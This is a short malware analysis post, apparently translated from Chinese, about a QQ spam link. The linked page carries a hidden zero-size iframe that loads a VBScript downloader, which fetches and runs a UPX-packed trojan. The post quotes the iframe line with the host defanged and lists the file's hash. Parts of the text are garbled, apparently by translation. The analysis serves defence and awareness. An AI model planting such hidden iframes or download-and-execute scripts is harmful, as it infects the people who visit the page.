EndurerOriginal
1Version
Qq received the following information:
/-------
For free, visit www.17 ***** wish.com. **/h ** JJ *. htm.
-------/
H ** JJ *. htmContains code:
/-------
<IFRAME Height = "0" width = "0" src = "hxxp: // www. Hao *** soft.net/down00000000mm/index100000000.htm"> </iframe>
-------/
Index1 **. htmThe vbscr merge PT script is used by Microsoft. XMLHTTP and SCR merge pting. FileSystemObject.DownloadFile netxfiles.exe, save as % Temp %/zj1244.com, and run it using the ShellExecute method of Shell. Application Object Q.
Netxfiles.exeUse UPX 0.89.6-1.02/1.05-1.24-> Markus & Laszlo shelling
/-------
File Description: D:/test/netxfiles.exe
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time: 12:12:42
Size: 38912 bytes, 38.0 KB
MD5: ae90cbafb9a9b4cd2207a8917145206e
-------/
Rising joined version 5.11, January 9, reportingTrojan. Agent. Ace.